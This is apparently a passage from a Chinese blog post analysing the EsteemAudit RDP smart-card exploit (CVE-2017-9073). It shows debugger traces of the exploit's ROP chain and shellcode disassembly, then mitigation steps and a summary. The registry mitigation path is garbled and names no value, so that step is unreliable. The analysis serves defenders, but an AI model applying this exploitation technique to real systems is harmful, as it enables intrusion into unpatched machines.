eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08005e88 esp=02dfe3c0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!GetAppWindow+0x1f:

08005e88 c3              ret

0:011> t

eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0800bedd esp=02dfe3c4 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!funcCheck+0x129:

0800bedd 94              xchg    eax,esp

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0800bede esp=080190dc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!funcCheck+0x12a:

0800bede c3              ret

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08011e7a esp=080190e0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!MyCPSignHash+0x3ac:

08011e7a c21c00          ret     1Ch

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0801118e esp=08019100 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!MyCPImportKey+0xac3:

0801118e c21800          ret     18h

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08011fef esp=0801911c ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!__report_gsfailure+0xdf:

08011fef c3              ret

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128cc esp=08019120 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x4f:

080128cc 58              pop     eax

0:011> t

eax=0000008f ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128cd esp=08019124 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x50:

080128cd 5b              pop     ebx

0:011> t

eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128ce esp=08019128 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x51:

080128ce c3              ret

0:011> t

eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08015074 esp=0801912c ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x27f7:

08015074 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}

Shellcode start:

No prior disassembly possible

08019148 b004            mov     al,4

0801914a 648b00          mov     eax,dword ptr fs:[eax]

0801914d 2d00060000      sub     eax,600h

08019152 89c4            mov     esp,eax

08019154 89c6            mov     esi,eax

08019156 e800000000      call    gpkcsp!IsProgButtonClick+0x8f (0801915b)

0801915b 90              nop

0801915c 5d              pop     ebp

0801915d 8b85d5000000    mov     eax,dword ptr [ebp+0D5h]

08019163 894604          mov     dword ptr [esi+4],eax

08019166 8b85d9000000    mov     eax,dword ptr [ebp+0D9h]

0801916c 89460c          mov     dword ptr [esi+0Ch],eax

0801916f 31c0            xor     eax,eax

08019171 894610          mov     dword ptr [esi+10h],eax

08019174 894614          mov     dword ptr [esi+14h],eax

08019177 8b85dd000000    mov     eax,dword ptr [ebp+0DDh]

0801917d 8b00            mov     eax,dword ptr [eax]

0801917f 8b80bc000000    mov     eax,dword ptr [eax+0BCh]

08019185 894618          mov     dword ptr [esi+18h],eax

08019188 8b85e1000000    mov     eax,dword ptr [ebp+0E1h]

0801918e 8b00            mov     eax,dword ptr [eax]

08019190 89461c          mov     dword ptr [esi+1Ch],eax

08019193 8b85e5000000    mov     eax,dword ptr [ebp+0E5h]

08019199 8b00            mov     eax,dword ptr [eax]

0801919b 894620          mov     dword ptr [esi+20h],eax

0801919e 8b460c          mov     eax,dword ptr [esi+0Ch]

080191a1 894628          mov     dword ptr [esi+28h],eax

080191a4 31c0            xor     eax,eax

080191a6 89462c          mov     dword ptr [esi+2Ch],eax

080191a9 e8b5000000      call    gpkcsp!IsProgButtonClick+0x197 (08019263)

0:011> !address 08019148

Failed to map Heaps (error 80004005)

Usage:                  Image

Allocation Base:        08000000

Base Address:           08019000

End Address:            0801e000

Region Size:            00005000

Type:                   01000000    MEM_IMAGE

State:                  00001000    MEM_COMMIT

Protect:                00000040   PAGE_EXECUTE_READWRITE

More info:              lmv m gpkcsp

More info:              !lmi gpkcsp

More info:              ln 0x8019148

检测和暂时缓解措施

CVE-2017-9073仅存在Windows XP和Windows 2003上,且这两个系统不再收到微软的支持。所以用户应该在第一时间升级到最新版的Windows系统。由于漏洞出现在RDP的智能卡模块,所以以下措施也可以暂时缓解漏洞:

在组策略中关闭智能卡模块

在注册表中关闭智能卡模块。在路径HKLMSOFTWAREPoliciesMicrosoftWindows NTTerminal Services下增加或者设置键值0,类型为REG_DWORD

关闭或者限制外接的RDP访问请求

总结

RDP是Windows上非常有用且非常复杂的模块。基于我们对EsteemAudit的分析,这个漏洞本身并不难发现。不过难点在如何进行成功的利用。有趣的是gpkcsp选择了一个全局变量来存储客户端发来的原始数据,这样可以使攻击者在没有ASLR的情况下在一个固定的已知地址部署完全可控的数据。利用工具的作者利用了这个特性完成了exploit。EsteemAudit是一个在Windows XP和Windows 2003上的利用工具。用户需要在类似于WanaCryp0t有蠕虫行为的病毒利用这个工具进行大规模传播前前,进行XP和2003系统的暂时缓解措施避免财产损失。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30990605/article/details/117680779

智能推荐

Python 实现C、C++程序注释英文翻译插件_针对c语言注释进行翻译-程序员宅基地

文章浏览阅读760次。Python 实现C、C++程序注释英文翻译插件。3.此文缺少访问超时等待续翻译代码段,暂时没空添加。2.安装核心功能包translators。1.参数3个,源文件、目标文件、翻译模式。4.编写正则表达式分析文本内容。3.编写文本输入输出函数。6.Keil实践提示。_针对c语言注释进行翻译

环形子数组的最大和-程序员宅基地

文章浏览阅读418次,点赞10次,收藏7次。至此,我们可以使用以上方法求解出环形数组的最大子数组和。特别需要注意的是,本题要求子数组不能为空,我们需要在代码中做出相应的调整。第一种情况的求解方法与求解普通数组的最大子数组和方法完全相同,读者可以参考53号题目的题解:最大子序和。求解普通数组的最大子数组和是求解环形数组的最大子数组和问题的子集。从子数组 [3] 和 [3,-2,2] 都可以得到最大和 3。的最大前缀和,将它们相加更新答案。数组和枚举后缀的时间复杂度为。最多只能包含固定缓冲区。构成最大子数组和的子数组为。构成最大子数组和的子数组为。

Flutter溢出滚动_flutter 超出滚动-程序员宅基地

文章浏览阅读4.8k次。外部再加层SingleChildScrollView属性this.scrollDirection = Axis.vertical,//滚动的方向,垂直或水平this.reverse = false,// 是否反转,如果是垂直滚动的话,reverse默认为false,表示先看上面。如果reverse为true,则先看底部。this.padding,// 内边距bool primary,// 是否使用默认的controllerthis.physics,this.controller,//可以控制初_flutter 超出滚动

我的世界服务器换披风的网站,minecraft我的世界局域网换皮肤和披风-程序员宅基地

文章浏览阅读3.7k次。minecraft很多人不知道皮肤和披风怎么换,装了mod也没用,皮肤有人说必须要正版,也是胡扯。那该怎么换呢?下面是学习啦小编收集整理的minecraft我的世界局域网换皮肤和披风,希望对大家有帮助~~minecraft我的世界局域网换皮肤和披风工具/原料minecraft电脑版skinme方法/步骤1进入http://www.skinme.cc/#./mod_index?&_suid=..._minecraft披风网站

python按钮虚化_深度学习与图像处理之:人像背景虚化-程序员宅基地

文章浏览阅读457次。简单实现思路:对图像内容进行分割,提取人像对图像背景进行模糊化处理将人像和背景重新合成在这里,使用DeepLabV3模型对图像内容进行分割并提取人像,实现的代码如下:import numpy as npimport tensorflow as tfimport cv2from deeplabmodel import *def create_pascal_label_colormap():color..._python 图像处理 深度学习

随便推点

Linux 网络命令知多少-程序员宅基地

文章浏览阅读326次。在一片漆黑的界面下,我们该如何查看和配置系统网卡、IP地址、路由等信息呢?最传统基本的网络命令,几乎所有旧的发行版都支持的配置命令:ifconfig查看系统的所有网卡及IP配置信息:ifconfig禁用网卡:ifconfig eth0 down,启用网卡:ifconfig eth0 up为网卡配置IP地址:ifconfig eth0 192.168.1.56 netmask 255.255.255.0Ifconfig命令的替代者,最新版本的linux发行版都支持:查看系统的所有...

论文笔记 | 语义解析相关论文_a syntactic neural model for general-purpose code -程序员宅基地

文章浏览阅读1.7k次。文章目录1. Language to Logical Form with Neural Attention2. Abstract Syntax Networks for Code Generation and Semantic Parsing3. A Syntactic Neural Model for General-Purpose Code Generation4. Tree-structured Decoding with Doubly-recurrent Neural Network5. Seman_a syntactic neural model for general-purpose code generation,

MySQL基础教程——创建数据库并插入数据-程序员宅基地

文章浏览阅读1.8k次,点赞4次,收藏12次。本节将介绍 MySQL 新建数据库,新建表,插入数据以及基本数据类型的相关知识。本节实验将创建一个名为mysql_shiyan的数据库,其中有两张表employee和department。1. 准备再安装并配置好MySQL的Linux系统上,先用以下两条命令打开 MySQL 服务并使用 root 登录:# 打开 MySQL 服务sudo service..._创建名为xn的数据库,在该数据库下创建集合dsj,并在dsj集合中插入下列文档

Hadoop FS 常用命令详解_hadoop fs mkdir-程序员宅基地

文章浏览阅读5.1k次。1、概述Hadoop文件系统(FS)提供了各种shell命令,与shell命令类似,可用于同分布式文件系统(HDFS)进行交互,以管理HDFS集群中的文件和数据。2、Hadoop FS常用命令(1)创建目录用法:hadoop fs -mkdir <paths>示例:创建单个目录:hadoop fs -mkdir /home/myfile/dir1创建多目录:hadoop fs -mkdir /home/myfile/dir1 /home/myfile/dir2(2._hadoop fs mkdir

int gd = DETECT, 显示错误未定义标识符”DETECT“-程序员宅基地

文章浏览阅读1.1k次。DETECT是一个在graphics.h头文件中定义的常量,用于在初始化图形模式时指定使用自动检测功能。你在使用DETECT之前没有包含graphics.h头文件或者在编译时graphics.h文件没有找到,因此导致编译器无法识别DETECT标识符,出现了“未定义标识符”的错误提示。你需要在使用DETECT之前包含graphics.h头文件,例如:#include <graphics...._未定义标识符detect

00-C语言语法_00,,c-程序员宅基地

文章浏览阅读830次。C语言语法变量变量对应这内存中的一段内存。 从内存的角度看变量,变量包括:内存地址(变量首地址)、变量名、变量类型(即变量大小)、变量值等。关键字auto自动变量:是函数的参数 ,和 在函数体内定义的局部变量。函数的形参及代码块中定义的变量都属于auto变量,这是C语言中应用最广的一种变量,这类变量是栈分配的,是动态分配存储空间的。举函数形参为例,当调用该函数时,为形参分配存储空间,当函数调用结束时,系统就自动释放这些存储空间。对**代码块中定义的变量(包含函数中定义的变量),当执行到_00,,c